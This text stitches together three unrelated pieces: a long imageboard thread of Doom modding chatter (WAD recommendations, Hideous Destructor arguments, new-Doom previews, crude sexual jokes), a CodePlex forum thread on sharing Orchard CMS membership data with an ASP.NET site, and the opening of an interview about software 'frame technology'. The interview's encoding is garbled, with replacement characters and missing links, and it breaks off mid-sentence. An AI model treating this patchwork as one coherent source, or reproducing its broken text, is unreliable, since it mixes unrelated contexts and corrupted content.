I don't think so. Why do you need to download so many mods at one time anyway? The archive isn't going anywhere.
>>2912749
Because I don't like downloading all the best .wads individually
>>2912751
But "best" is subjective. You'd be downloading someone else's opinions. Wouldn't you rather build your own collection of quality WADs/mods?
>>2912757
I'm lazy anon, and when I say "best", I mean the universally acclaimed ones, and the ones in the "SO YOU WANNA PLAY SOME FUCKING DOOM?" image. (0:23)
Mind fucking blown.
>>2912581
Try FL Studio
>>2912809
Uematsu > Prince
The tracks dont even sound alike. The FF track is far more interesting and varied, even if its only a minute long.
>>2912124
Experimenting on them?
Like how John was a zombie?
>>2912913
Oh man if they pull that at the end it would be so fucking funny
>>2912125
I kinda wish there was a Doom game or mod where the final boss is motherfucking Lucifer himself.
>find a seinfeld bass soundfont
>it doesn't work with timidity on Doom
Doom sitcom when?
>>2912920
what if Lucifer is a revived giant
>>2912936
Is he? I don't really know this stuff, sorry.
>>2912870
I wasn't trying to start an argument of any kind, but they do sound similar, especially when you 1.25x the FF8 track. It's even got the trademark major 3rd from Prince. Now that it might have been an inspiration or not I don't care and I love everything Uematsu. Just thought it was cool.
>>2912935
"What's the deal with GUTS?!" *E1M1 midi plays with Seinfeld soundfont*
So I'm playing All Hell is Breaking Loose and they used a chaingun sprite for the shotgun.
>>2912943
The Seinfeld rendition of E1M1 was actually what made me want to go out and find this soundfont.
>>2912945
That's pretty common for early Dehacked weapon replacements. Rapid-fire chainshotguns were all the rage back then.
Aahh, the memories.
>>2912459
The multiplayer doesn't look too hot, but then, I was never big on deathmatch.
>>2912694
The Dayz firehouse glitch became accepted. Its a way to get onto the roof without climbing up the exterior ladder. You essentially glitch through a broken window. In real life you could just climb out anyway. Knowing DayZ I'm surprised they didn't make a percentage that you could cut yourself and get an infection by climbing out the window.
>>2912935
There's already a slap bass in GMIDI sounds. just need to change the instruments to use it more.
Well that's looking less like garbage, now I just need to get some proper rocket fist sprites and rather than having it explode, just thud off monsters and hit the ground.
>>2913262
>no recoil while firing
New version of Mainframe for the /vr/ Ep 1 project. Added some height variation and a couple of extra bits to make it a bit harder.
Anyone have a basic Doom 64 monster replacer that doesn’t use decorates and is compatible with pretty much everything.
Weren't there exclusive levels for the x360 ports of doom and doom 2? were those levels ever remade as wads?
>>2913341
No Rest For The Living, it's a wad in and of itself so it's easy to find a port somewhere or another.
>>2913336
>Doom 64 monster replacer
I figure that'd be pretty easy.
>that doesn’t use decorates
Well that'd be a different one.
I guess you could copy the sprites from one of the old Doom 64 TCs and rename them to replace the original sprites.
You'd be left with the Archie, Skelly, Chaingunner and Spidermind as normal though, as they were not in Doom 64.
>>2911874
Why couldn't they just stick with the original design and just prettify it for modern "standards"? Just give the armor some bullshit reason why he can move on the planet's surface with bare arms and camo pants on. The game is cartoony and over the top already. They could just drop the nanonmusheens meme and everyone would accept it.
>>2912256
PRBoom+ is the most reliable port for demo playback, thanks to its accurate complevels. And its also used for testing limit removing and boom/mbf format maps.
The only way it'll go away is if a newer better port was made for these purposes. And thats only if it even catches on.
>>2909575
To be honest, they COULD tell a good story. Shadow Warrior had a great story even though it's silly and simple. It never got in the way of the game since every cutscene could be skipped and most of the plot happened as dialogue banter between combat.
(but I'd still prefer if they had a mute button or something like that IF they had a story like that because shit gets repetive yo)
>>2913358
I have all the sprites from Doom 64 EX, but I noticed it looks like a massive tedious job since Doom 64 has less animations then the original and I’d have to make them.
i have been trying to play the levels wad released with brutal doom starter pack with trailblazer but i found a bug (?) that prevents me from progressing.
on the nuclear power plant map when you have to enter the radioactive reactor area to get the red key it damages me constantly even tho i picked up and activated a radion suit on the room before the airlock.
is this because trailblazer manages the environmental damage differently or were you supposed to be damaged even when wearing a suit?
now im replaying with brutal doom 20b (the one included) and lets see what happens when i get there.
>>2912626
>Is it normal to not be able to enjoy Scythe after Map 20?
the author intentionally made the last episode a lot more challenging, and suggests (in the text file) to change the skill level at that point (i realise that requires a restart but since you don't keep your weapons past the end of map20 it makes no difference to do so then idclev/warp)
also i hardly think it is spammy, most maps aside from 26 and 30 have fewer than a hundred monsters.
>>2912709
/idgames is available as an open ftp site, you can recursively download the whole thing with e.g. wget. this is pretty much how all the mirrors work.
>>2912762
oh. you want to be more selective than grabbing the entire archive. never mind then
>>2913469
Can you please describe the "downloading whole thing" in detail?
I'd also like to see a way to download the whole database with scores, comments and descriptions, not just the files so it would've been much simpler to see what the file does and chose the files you want.
>>2913359
Pic related is how Tom Hall basically envisioned the original Doom marine. I think it's an alright design.
I'm fond of the classic Doom marine, but I'm interested in seeing different ideas too. Hell, I liked the Doom 3 marine.
>>2913546
Looks like
pillow armor
>>2913561
Well it's a space-suit too.
Gotta make it thick so it seals effectively and shields you against space radiation.
>>2913564
In the grim darkness of the future, there should be a way for a skin-tight insulated suits of armor.
>>2913546
?
>>2907843
>>2908787
A WIP of MAP04, and yes it will be inspired by Space Harrier. Only problem is that I can't find the graphics for the trees and mountains in the skybox, and I can't be fucked to rip them either.
Is it possible to make floating sloped 3D floors, like these.. red things in this picture?
>>2913623
Yes. You just have to slope your 3D floor control sector in one of the usual ways but make sure it's aligned with the target sector on the map grid.
Hey how come the piercing flag for projectiles is called "ripper" anyway?
>>2913336
I tried doing something like that once. I gave up when it got to the arachnotron, because it has only 4 walking frames, while the pc one has 6. There's no way I could make it look good, so I gave up.
>>2913687
Because it -rips- through enemies?
>>2913713
yeah but I mean like, piercing projectiles are usually just referred as piercing in every other game, and vanilla doom never had piercing.
>>2913714
Both Heretic and Hexen have ripper projectiles, that's what it's based on.
>>2913687
Because "rip and tear" obviously.
>>2912738
Glitches that become features don't always give more advantage than disadvantage. Alternate Guarding in KoF is a good example of this.
>>2911951
>Brutal Doom & Project Brutality compatible MegaWads
Doom The Way ID Did 1, 2 and Lost Episodes
Hell On Earth Starter Pack (Comes with BDv20b and it in my opinion the best Megawad ever)
Doom 2 Reloaded
Whispers of Satan
Valiant Vaccinated Edition
Hellbound
Back To Saturn X 1 & 2
These wads all have great map design/architecture and play pretty damn good too. But the Hell On Earth Starter Pack is out of this world.
>>2913759
>Hell On Earth Starter Pack
>best Megawad ever
You do know that about half of its maps are stolen and tweaked, right?
>>2913763
you can't really steal from freedoom, being a resource for others to build on is one of its purposes.
>>2913763
>Doesn't think that Starter Pack is best megawad ever
>Admits that it includes some of the best maps from Doom 2 and other Pwads that are then further tweaked for better aesthetics/gameplay
Besides, even if it takes inspiration from id maps or maps from other wads, that doesn't mean that it a) plays bad or b) flows bad. There's no bad maps, most are good and the few that aren't are still decent.
>>2913770
Not him, but I think is true for the resources, but not the maps. Point is - Mark didnt make them and should not be credited for them.
Also
>starter pack
>best wad ever
Not sure if serious or doesen't have a taste.
>>2913810
>serious or doesen't have a taste
oops meant to say "ironic or no taste", sorry.
>>2913763
Only 3 or 4 maps.
>>2913770
Don't reply to the jelly bait.
>>2913810
Well then please point me to another wad that
- Doesn't become a slaughterfest
- Has good architecture and detail
- Has good progression, pacing and balance
- Has maps that start where the last ended
- Don't spam the same monster too often (although Barons do become common in the 3rd chapter)
- Don't involve lots of backtracking
- Have elements like boss fights, memorable encounters and so on
Also what maps were ripped off besides Doom 2's Dead Simple, Downtown, Suburbs and The Citadel?
>>2913859
UAC Ultra
>>2913859
If you count only "lots of levels" wads then
Temple of the lizard men 2 and 3 come to mind as very solid,
Mandrill Ass Project (despite its name and silly plot)
Unloved is full of memorable encounters.
Also Realms of Cheogsh come to mind, all parts.
>>2912946
fuck my sides
> 0:22
jesus christ
>>2913262
the only thing that grinds my gears is, that the left glove, while grabbing the other arm, changes it´s color
it seems like it looses it´s blue shimmer
>>2913770
>you can't really steal from freedoom
Yes you can.
>>2913802
>that doesn't mean that it a) plays bad
No, but it does. It plays extremely badly.
>start hideous destructor with some random mod
>surrounded by 3 enemies
>shoot one
>reload
>shoot another one
>reload
>die
Why this mod is such a shit? All weapons aree underpowered and you die in 2 shots It also makes your movement, shooting and reloading like 5 times slower so the level you usually beat at one minute with HD takes 10 minutes.
>>2914051
Git gud
>>2910701
>a remix of Sign of Evil.
Why do they bother when this exists ?
>>2914051
Maybe you should get good.
Anyways.
Skeletrons are now turrets. Have fun, guys.
>>2914051
Do you just not know the point of Hideous Destructor?
>>2914039
>Yes you can.
how?
>No, but it does. It plays extremely badly.
in your opinion what is a wad that plays well?
>>2914071
If Hideous Destructor aims at being a realistic mod, it fails miserably. It can only be considered a jokewad like Comfy Doom.
It's not "Doom the way /k/ would do", it's "Doom the way somebody with hoplophobia would do".
>>2914080
stop feeding the troll.
>>2914080
>how?
nhb it doesn't matter if the resource is free or not. taking it and claiming it as your own without credit is stealing.
i find starter pack extremely lacking due to the staggering lack of "new" maps in it.
if it's not from freedoom, it's a previous map release. if it's not a previous map release, it's from armagedoom. it's like a series of flashbacks across the last six years of his development, and anything new seems to have been made only grudgingly.
a mapset i very much enjoy, in comparison, is perdition's gate. while it doesn't have any fancy zdoom scripting or tedious boss fights or slopes or allied npcs, i've found it a very solid and fun mod
>>2914071
>isn't really possible on maps that don't provide adequate cover
So, all of them?
>>2914113
>taking it and claiming it as your own without credit is stealing.
Mark explicitly tells that some maps are taken from FreeDoom, even mentioning which maps are taken, Map02, Map03, Map07, Map11, and Map28, so, nothing like "half of the maps" like you are alegating).
>i find starter pack extremely lacking due to the staggering lack of "new" maps in it. it's a previous map release. if it's not a previous map release, it's from armagedoom. it's like a series of flashbacks across the last six years of his development.
What is exactly wrong about this? Many people release loose maps around, them assemble them into a larger wad later.
Also, the map from ArmageDoom is not a tweak, it's a total remake. Try opening both maps in Doombuilder you will see that they have nothing in common.
>>2914109
Yes, because the only feasible reason one might not like Mark's stuff is just to stir up shit.
It's not like there's anything like pesky "opinions" or "alternative viewpoints".
Accept Mark's creations as your new miracle from upon high and praise be unto he.
>>2914080
Demons of Problematique 1 and 2 have always been the pinnacle of ZDoom mapping, to me. Very pretty, very atmospheric, with a vicious difficulty curve that continues trailing upwards and peaks in some very memorable encounters.
Not quite "bosses", since they're mostly modified versions of vanilla enemies, but definitely different enough to be a climax.
>>2914124
>Mark explicitly tells that some maps are taken from FreeDoom
my mistake if he has, but where at? i'm looking through the wad and i'm not seeing a credits list.
>so, nothing like "half of the maps" like you are alegating).
?????????????
i never said this
>What is exactly wrong about this? Many people release loose maps around, them assemble them into a larger wad later..
>>2914109
it's very easy to just waltz in and say "this thing you like? no it's shit". i wanted to give the fellow a chance to show that wasn't what he was doing
>>2914126
>Yes, because the only feasible reason one might not like Mark's stuff is just to stir up shit.
It is when you provide no points of criticism. "I think it's bad because it's my opinion" is not criticism.
>>2914138
>my mistake if he has, but where at? i'm looking through the wad and i'm not seeing a credits list.
You know, on the download page of moddb, with big bold letters screaming "look at me!!!".
.
You know that your entire sentence makes no sense, right? So just because I played Knee-Deep In The Dead shareware version, I shouldn't buy Ultimate Doom, because I will play the same episode again.
>>2914108
is a political term and not a recognized medical phobia.
interesting
>>2914146
>>my mistake if he has, but where at? i'm looking through the wad and i'm not seeing a credits list.
>You know, on the download page of moddb, with big bold letters screaming "look at me!!!".
sooooo not actually in the file?
that's kinda dumb
>>2914146
>You know, on the download page of moddb, with big bold letters screaming "look at me!!!".
i don't know, having it not packaged in the wad itself when that's the only thing people download most of the time strikes me as a very bad move.
still, i will freely admit that was my mistake and i shouldn't have assumed in bad faith there was no credit.
>So just because I played Knee-Deep In The Dead shareware version, I shouldn't buy Ultimate Doom, because I will play the same episode again.
why in the world would you think the two are remotely comparable?
playing a demo and then buying the full version isn't anywhere near the same.
>>2914126
fair enough i've never actually played those, but i have played the author's Boom wads and they're usually very good aside from a slight tendency toward zdoomisms.
>>2914113
fully agree perdition's gate is cool. although it gets rather repetitive towards the end. i think they started to rush it to get it out while there was still a market, or some such.
>>2914069
what wad
Also just lookd at the vid and for some reason remembered fractal Doom ad got the idea.
What if size of the monster was representative of it's current health precentage (to a cap), so monsters visibli diminish in size as you reduce their health?
>>2914158
Something I'm working on.
>>2914152
The file has only a credits list for Brutal Doom stuff. I think he didn't cared to include a credits list on the Starter Pack because it's just a "demo" project for "Extermination Day" project, so it's not finished yet, and probably much of the current stuff will be cut from the final version.
>playing a demo and then buying the full version isn't anywhere near the same.
But that's exactly what his previous releases were. Demos.
>>2914161
except not really as it never stated anywere that "this map I made will totally be in my next project"
>>2914161
>But that's exactly what his previous releases were. Demos.
i would sincerely doubt that, considering several of his previous maps were complete standalone things.
one map was even made explicitly for the vr 200-minute collab, you can't possibly call that a "demo" for an upcoming project that wasn't conceptualized at the time
>>2914138
i guess you didn't care for 1994TU then either :)
i actually rather like map remakes, if they've had at least substantial work done on them. but then i also enjoy map archaeology, like finding all the different versions of MINE1 and so forth.
>>2914170
Actually the version of his 200vr map collab used in the Starter Pack seems to be the one rejected for overdetail.
The only problem I have with the Startar Pack is death traps with no warning whatsoever in some of the hell maps.
>>2914175
>i guess you didn't care for 1994TU then either :)
i don't, actually, but i can't help but find it fascinating from a historical standpoint
it's kind of an interesting discussion piece to just how far the modding community has come, not just in mapping standards but in what we come to expect from maps
i might not like it, but i'm glad it was made, if that makes sense
>>2913687
They don't actually pierce enemies, they pass through, while doing continuous damage the longer they are inside. "ripping" makes more sense in this case.
>>2914119
Cover for Doom means corners, not chest high walls.
>>2914281
>using imps as anything but HM slaves
What was the original use for these sprites?
Some kind of pussy-targeting, brain controlling alien bioweapon?
>>2914358
..is that really official?
>>2914381
No
>>2914358
there's something you don't see every day
>>2914358
well that's new
i guess the idea was that she's a carrier for that alien thing
>>2914108
Combat isn't easy, getting shot really sucks and has a great chance of taking you out of the fight. Adrenaline can do a lot, but it's not magical.
I don't particularly enjoy HD that much, but I understand what it tries to do, to make something that's a considerable challenge by the way of trying to make it realistic (although some things aren't, barrels and powerups can actually fuck you up without you doing anything with them, I guess the point is to make it really hard)
Some .wads will simply not be playable with HD, hell, HD might just be a good choice for co-op on Zandybam, but I don't know if that'll work.
>hoplophobia
I don't think Hideous Destructor is trying to make any sort of political statement.
>>2914149
Cooper was a cool dude.
>>2914358
That's not made by 3DRealms, that's some mod content.
It looks crude and ugly as fuck, as if it was made in MSpaint
>>2914358
>This almost made it into the game
Parents would've been screaming like fucking ghouls and tearing down Congress's walls.
>>2914428
>>2914405
>>2914381
It's not real you silly chits
Has there ever been a versus multiplayer mod/wad/thing?
You know, some people play as marines and some play as demons or something like that
>>2914436
>Has there ever been a versus multiplayer mod/wad/thing?
Nope. Never.
Someone should get on that, seems like it'd be quite unique.
this may sound like a dumb question but, how do i screenshot the map? every time i press tab & take one, it doesn't prompt me.
>>2914436
Like some Left 4 dead thing? That would be cool
I am playing this mod that allows you to possess enemies, you control this spirit and you can use the enemies to fight other enemies, maybe we could have a small team of regular marines vs a team of these creatures that can walk through enemies or something, they would be semi-invisible but easy to kill, and would need to use the enemies in the level to kill the marines before they reach the exit, marines can't respawn but the spirit thingys can
>>2914426
for what mod?
>>2914458
there is a button for that on the controls menu
>>2914458
prompt?
>>2914465
>>2914468
oh, i'll try again, thank you.
>>2913298
one thing that occurred to me: a natural tactic is to flee the computer core with lots of monsters still alive (because you cannot return to the start area, it having been blocked off). however, if you do this, when you return from below with the red key, the crowd of monsters is blocking the drop down because of infinite actor height. this can be pretty annoying.
demo, doesn't finish. i lost too much health getting down from that damn ledge (and autoaim screwing me with rocket splash), then failed to dodge a baron shot that i really should have done better with.
>>2914458
What are you going to use the screenshot for? Because there might be alternative ways to do what you want.
>>2914583
post it here so you folks could probably help.
Do Archviles resurrect the most powerful monster near them or is it just whichever corpse is closer?
>>2914650
the second one.
>>2914629
Depending on the engine, try pressing the good old PrtScr key on your keyboard.
>>2914542
Never happened for me since I kill em all. I think the best way to fix that without lowering the whole passage would be to end it in a descending elevator. I'll see what I can wrangle up.
>>2914424
>I don't think Hideous Destructor is trying to make any sort of political statement.
I mean that Hideos Destructor feels like you are playing with a politically correct housewife that always yelled at her husband about his stupid guns, never holded a gun before and has absolutely no idea of what she is doing. Hideous Destructor has nothing related to realism because real guns are not this hard to operate.
>>2914680
What guns are you using that are so difficult to work with? Honestly everything except maybe the Brontornis is pretty easy to use at this point, and that thing's rare enough that you shouldn't need to know how to use it unless you pick it as your starting weapon.
>>2914462
anyone?
How does it feel knowing that you will never get to experience a game this revolutionary?
Knowing that a game that shakes the world like this will never come out again?
>>2914771
Oh there will. Just wait until virtual reality has gathered enough steam.
>>2914789
> you may be one of the first perople on earth to play DOOM in VR
dreams may come true
>>2914808
>Doom 3 BFG Edition was supposed to have Oculus Rift and VR support
>completely cut out of the final product
>>2914818
>Wanting to play DOOM 3
>Wanting to play DOOM 3 in VR
Some people have done it, and apparently it's a fucking awful experience.
>>2914843
Hey now, Doom 3 isn't bad. It's just not my first go-to FPS.
>>2914771
I've come to accept this long ago, since I first wanted to make game.
All the groundbreaking and genre-establishing games have been made. All the landmarks have been plowed. All the icons have been immortalized, referenced, parodied, and more.
It's like those who wanted to grow up to be sailors--the world's already been charted and mapped out.
Time's passed. Gotta move on and do other things, look forward to something else.
>>2914848
But no one's yet to have pioneered
good porn games. Porn games are the next evolution in gaming. The missing link that will perfect the concept of video games. A genre to surpass Metal Gear.
>>2913687
From what I can tell, it originated on the Heretic projectile of the same name, Ripper.
Also note that if a "misc/ripslop" is defined in SNDINFO, the sound will play whenever the projectile rips through an enemy. Hexen uses the +RIPPER flag as well, but does not define the sound.
>>2914680
>Hideous Destructor has nothing related to realism because real guns are not this hard to operate.
True, but maybe the idea is that your player character is a complete twat who doesn't know what he's doing.
Shut Up And Bleed did the whole "inexperienced twat" thing better in that regard though.
This would've been an absolute blast to play but why, oh why did they have to ruin it by including such a stock soundtrack. It wouldn't even bother me that much if this was one of those basic run-of-the-mill wads but this one obviously had a lot more effort put into it. Is there some easy way to replace some of the music with the original doom 2 soundtrack so I could actually enjoy playing the rest of this masterpiece?
>>2907693
requesting someone edit the .gif so that instead of meat raining down, a stream of shottyguns rain down, filling the image with shottyguns
>>2914950
>Shut Up And Bleed did the whole "inexperienced twat" thing better in that regard though.
Them's fighting words.
>>2914951
>Is there some easy way to replace some of the music with the original doom 2 soundtrack so I could actually enjoy playing the rest of this masterpiece?
>open wad
>locate music files
>import own music files as replacement
>save
>????
>PROFIT
>>2914979
I'm not saying SUAB is better, rather that as far as a gameplay mod putting you as a weak and inexperienced punk at a disadvantage, SUAB does that in a more fun way.
Just regular enemies can totally fuck you even on easier difficulties, but it's not so overwhelmingly stacked against you that it becomes impossible to beat a level (it's not suited for slaughter maps though, so Plutonia map32 is a poor choice for it)
It also has this kind of cool unique-ish setup going for it.
>>2914983
I guess I'll just do that. What is generally the best wad editor?
>>2913601
>>2908787
>>2907843
A video of MAP04.
>>2915051
Slade 3.
>>2914436
I saw one on youtube a while ago that was a team deathmatch mod with classes, like the Marine side had super shotgunners, plasmagunners, berserkers etc., while monsters had special abilities like the arachnotron class had a shield wall and cacodemons could spawn a baby caco. I wish I could find the video.
>>2914461
Master of Puppets is pretty much this.
>>2915101
>
Nice
Would you fuck a demon?
And no i don't mean one of those shitty generic kawai XD animu ones from hdoom
Straight up a doom demon like a caco or something
>>2915207
Probably not.
>>2915207
No.
I'd maybe fuck Imp-tan though.
>>2915207
>>2912274
What exactly are those bugs?
Only graphical ones I can think of is artifacting on spirites, and thats mostly been fixed now. And OpenGL mode not being optimised for certain things like mordeth bridges.
Audio....I can't think of any.
Why don't shooters ever have the gun in the middle anymore like how Doom and Quake did?
So the shit from the new update over at Game Informer today wasn't just a copy-paste of the article, they actually went more into detail about the map itself. Copypasting from another board I go to:
They got to test a 'Movement Map,' pretty much a debug room to test the movement mechanics. "If the rest of the game is like a skatepark, then this is the first park we ever built." After that, they loaded up the second level of the singleplayer, apparently having a pistol and a shotgun by this point and nothing else described.
The weaponless, zombie-like enemies in the footage are called Possessed, and are basically fodder like the classic Zombie Riflemen. One pistol shot sets them up for a Glory Kill, two bodyshots kills them, and a headshot is also instant kill. Glory Kills change the animation depending on the player's position relevant to the enemy. The pistol seems to be more of a handcannon that is good for getting headshots. There also seems to be a 'hot swap' where if you tap the weapon wheel button and the right direction for a weapon by memory, it'll just swap over without having the wheel drop in to slow things down.
Mash X to open certain jammed doors, someone's gonna bitch about that.
Imps can charge their fireballs for a stronger attack, but create a distinct soundcue as a warning. Seems like most of the enemies that aren't huge or fodder are limber and capable of scaling walls to get a better bead on you, such as Imps climbing up to get a vantage point. Health and ammo are in the environment, but Glory Kills work for a quick recharge. Chainsaw kills nets you more goodies but leaves you more exposed in the process obviously compared to normal Glory Kills being about a second. There's an Possessed Engineer who is basically a walking bomb to detonate near enemies for a crowd kill, one good pistol shot to the chest detonates him.
>>2915321
Red and yellow keycards are needed to progress at one point between two separate doors, so a side-track and a vent shaft are used after following an Echo recording, before dropping into a warehouse. After destroying a portal ontop a gory pedestal, the area erupts into an arena battle where verticality and movement are a constant factor against waves of enemies mixing combat up from various types at once. Apparently Imp charged blasts hurt like a bitch and it's easy to die real fast. Takes two deaths before they get it on the third try. Getting weapon mods allows you to swap between their functionality as an alt-fire mode, almost kinda Timesplitters-esque but separate from the main fire mode. The tester also goes out onto Mars' surface with no factors like oxygen or so forth involved compared to Doom 3, just a vacuum having a brief physics demonstration of sucking objects out. Security Guard enemies and Possessed enemies with weapons are separate types, and the Security Guards seem to have a shield (or at least the type confronted here).
This wasn't all of the level, as it stopped not long after this on an elevator ride.
>>2915207
Yes, not a caco though, but surely one of the goat brothers
>>2915321
>Possessed Engineer who is basically a walking bomb to detonate near enemies for a crowd kill, one good pistol shot to the chest detonates him.
I hate kamikaze monsters that can one shot you
>>2915292
While in an idle state, you'd probably be holding your gun to the side, but in a combat situation, you'd use your sights or point proper with your gun.
I think it's partially devs wanting to have a bit more realism, but then only going half the way. I think the also wanted to give people a better look at the gun models they made.
These days, it actually makes more sense though, as more game have ADS, where you can fire your gun from the hip still, but you get the best accuracy when using your sights (not all games does this in a way that's fun and satisfying, but ultimately I think ADS is a good thing for the right kind of games).
In Half-Life, you have your gun at your side but you never center your gun or look down the sights, but it's not quite realistic in Doom either, as your weapon is centered, but you're not actually using your sights.
I like it in Doom, as it fits the kind of game it is, but I also like weapons at the side, where you can actually get a good look at the gun you're holding, and see the detail that's been put into making it (hopefully).
>>2915321
>>2915324
I don't have much faith in the new Doom. I actually think that they would have been better off going from Doom 3.
>>2915207
I'd either watch two male baron and hellknight brodudes go at it while I watch them kiss romantically and moaning and stuff or kiss a baron of hell if I got a chance and if he was okay with it barons are qts, fulhomo
>>2914183
Is that much of a problem? When people played Doom 1 and 2 for the first time I don't think they could tell where death traps where until they had already been killed by them.
>>2915359
I think it's a better direction than Doom 3 but I can't necessarily get hyped or feel good about a game that we've not personally seen much on outside of E3/Quakecon and a crappy alpha.
>>2915363
>>2915292
I'd wager at least a part of it is seeing more of what's directly under you (important in games with more verticality, like Duke and Powerslave), and simply showing off more details of the gun.
You know, kind of why the Doom shotgun showing its reload was a cool thing to see at the time.
Either way, the buttstock's usually drawn as behind the bottom right of your camera, so it's just the view of a shouldered gun without rlowering your head into a cheek weld. I figure Doomguy and co. just turn their torso more and rambo it.
>>2915387
>>2915357
Well, this is what I get for having autorefresh off.
>>2915292
Because weapons are not held that way in real life, and would look awkward with modern graphics.
I imagine early 90's centred shooters to remove the need for a crosshair, as autoaim was common back then anyway.
>>2915398
>Because weapons are not held that way in real life
Nor are they held way off to the side at shoulder-height.
>>2915363
>>2915383
the rest of the pic is moderately disgusting so don't even bother
I don't know how /vr/ related this is, but it's pretty Doom-related and /hbg/ goes too quickly.
Can I use custom wads on PRBoom for 3DS?
>>2915324
>>2915321
That doesn't sound so bad.
I'd be willing to play it.
>>2915387
This actually reminds me this weird dream i had once, it was about a new doom coming out where Doomguy fucking died and was revived as some weird, metal gear ish biologic war machine, he would have this metal body with reinforced defense, legs with wheels for maximum speed and strafing (also rocket jumps), no neck so he needs to actually turn around like that one batman costume, and most importantly, a hole on his chest where his weapons would be stored, his ammo would be stored inside his body without requiring reloadings, with whatever weapon he picks being stored on his chest, he wouldn't have any arms and instead would have those things that would give him extra speed or something, i can't really remember the design very much but it was supposed to be a way to re introduce doom mechanics while keeping the narrative and realism intact, making him different from other marines and shit
>>2915387
>I figure Doomguy and co. just turn their torso more and rambo it.
Yeah, I get the feeling that Doomguy keeps his gun shouldered like an operator operating in operations. Operationally.
>>2915441
No, he keeps it placed at a firm level in his solar plexus.
>>2915448
>shotgun thumping your sternum with every shot
That would be so uncomfortable.
>>2915321
>>2915324
I dig this.
And yeah, someone posted about the charge attacks a while back. It's not just Imps either, we saw laserdudes' and revenants' charges
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refinedweb
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CodePlexProject Hosting for Open Source Software
Hey everyone,
Originally we were trying to load a complex MVC website into Orchard as its own module, but this opened up a large can of worms, so we abandoned it and are now running the Orchard CMS app as a child application to the parent site in IIS. It's not recommended,
but it's working.
However, Orchard CMS uses it's own custom MembershipService, while our parent app uses the built in SqlMembershipProvider, so it's impossible for them to use the same Membership data.
What I can do is access the User object from within the Orchard.Users project, which will get the current logged on User in the parent site (using the native SqlMembershipProvider). However, this only gives me the Username. If I access Membership.GetUser(username)
from within Orchard.Users, it throws a 'The operation is not valid for the state of the transaction'.
I'm wondering if there is any out-of-this-world way to access Orchard's custom MembershipService from within an entirely separate project (that project being the parent project in IIS).
Does anyone have any experience doing something like this, or have any suggestions?
Thank you,
Ryan
UPDATE:
I understand this might be impossible due to Orchard loading everything via dependency injection with Autofac, but am hoping someone can definitely answer that. Thanks.
Membership providers are not particularly hard to write, and there are actually samples on MSDN. You could write one that has all the hooks that you need, and use this on both sides.
bertrandleroy wrote:
Membership providers are not particularly hard to write, and there are actually samples on MSDN. You could write one that has all the hooks that you need, and use this on both sides.
I started to write my own MembershipProvider and have that working. Though I think that all of the Orchard modules expect an Orchard IUser, so even though I can access my parent project's Membership data, I think I am still forced to create an Orchard User
and return that, in a sort of adaptive way.
Oh, well, of course you also need to implement the Orchard side that will use the new provider. All the extensibility hooks are there.
I'd be interested i any info/pointers on a roll your own membership provider that hooks into both orchard and a standard asp.net site. Thanks!
@jacinthegreen
You can replace Orchard's authentication service. Take a look at the AlexZh.WindowsAuthentication module, which does this for Windows Authentication. It takes just a few small tweaks to allow it to work with Windows Forms.
Then you can replace the MembershipProvider (the default being Orchard.Users/Services/MembershipService.cs). Just override the methods, and add these attributes:
[UsedImplicitly]
[OrchardSuppressDependency("Orchard.Users.Services.MembershipService")]
public class GeneralSnusMembershipService : IMembershipService {
...definitions...
}
To get this to be able to work in a normal .net app (which I haven't tried), you have to add a reference to Orchard.Core.dll and Orchard.Framework.dll, but I have some doubts that it'd work as Orchard needs to do all of its initialization in its own app,
where it "stays". So I think you might need to write a WCF service provider which polls the orchard site from your normal site's custom membership prodiver.
Hope that provides some help.
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Partners
This week, Stephen Ibaraki, I.S.P., DF/NPA, MVP, CNP has an exclusive interview with Paul Bassett, a leading software engineer and Computer Science authority.
Paul Bassett has given keynote addresses around the world,
and was a member of the IEEE�s�s Standard P1517: Software Reuse Lifecycle Processes. (a partial list: the US and Canadian federal
governments, The Hudson�s)..
The latest blog on the interview can be found the week of April 24th in the Canadian IT Managers (CIM) forum where you can provide your comments in an interactive dialogue.
Discussion:
Q1: Paul, what are software
engineering�s chronic concerns and how can you cure them?
Since our industry�s inception over 50 years ago, software
systems have been notoriously late, over budget, and of mediocre quality.
Already low, programmer productivity has actually worsened since �object
oriented� programming techniques went mainstream [According
to project auditor Michael Mah of QSM Associates in a private communication to me.] In what looks like a
desperation move, organizations have been in a race to replace their expensive
local software talent with cheaper offshore labour. Yes, this tactic can save
money in the short run, but off-shoring does nothing for our industry�s chronic
inability to deliver quality results in a timely fashion. Indeed, it could well
make matters worse.
Clearly, something is wrong with this picture. We don�t
import food from countries that till their fields with water buffaloes. Why?
Because modern agribusinesses have made the transition from being inefficient
craft industries to producing cornucopias of low cost, high quality food. The
software industry can and should do likewise. Why? Because, as we shall see, a
key enabler � so-called frame
technology (FT) with its associated processes and infrastructure � has been
fulfilling this dream in diverse commercial settings for more than twenty
years! What is wrong with this picture is our penchant for rejecting ideas
that challenge deeply held core values, even when those ideas can cure chronic
concerns.
I�ll illustrate by challenging a cherished myth of our
craft: only human programmers can modify
software intelligently. The fact is, people are poorly suited for making
technical code changes, especially when the changes are both numerous and
interrelated. This is precisely the situation that pertains to the cascades of
program changes that are logically entailed by altered requirements. It should
come as no surprise that machines can excel at fussy, detailed symbol
manipulation. Several frame
technologies now exist that are designed to formalize software adaptability. [For detailed
comparisons of several FTs, see
and� Two FTs I know well are a free-ware FT called
XVCL (XML-based Variant Configuration Language)
and Netron-Fusion (), a
commercial suite of tools set that includes an FT.]�FTs modify software much faster than human
programmers, and they do so tirelessly
and without error, not to mention much more cheaply than the off-shore variety.
What sounds too good to be true is that software�s entire life cycle benefits,
not just construction. But more on this later.
An analogy helps explain how a typical FT works: Imagine a
generic fender, one that can be automatically fitted to any make or model of
car while it is being assembled. Such adaptability, applied to each type of
part, would eliminate combinatorial explosions of part variants; conventional
manufacturing would be revolutionized. Alas, such parts cannot exist in the
physical world. But such adaptive components, aka frames, make perfect sense in the abstract world. Each frame can
arbitrarily adapt any of its sub-component frames, and conversely, be adapted
by other frames. FT assembles each software product from its parts in a manner
analogous to conventional manufacturing, but because FT exploits adaptability
far beyond what physical parts can have, it is a technology with demonstrated
revolutionary potential.
Another way to understand FT: Most word processors can
convert form letters into personalized variants. Generalize this 2-level
approach to handle any number of levels, allow any kind of logic to control
each adaptation, and allow any kind of information, including control logic, to
be adapted at each level. Now you have a frame technology. Note: a FT allows
you to use any language(s) to express yourself, including English.
The universal stratagem for creating frames is called same-as-except: How often have you
heard: �Y is like X, except ��? �Binoculars are like telescopes except ��
�Programming a VCR is like setting a
digital alarm clock, except �� This manner of knowing things is ubiquitous,
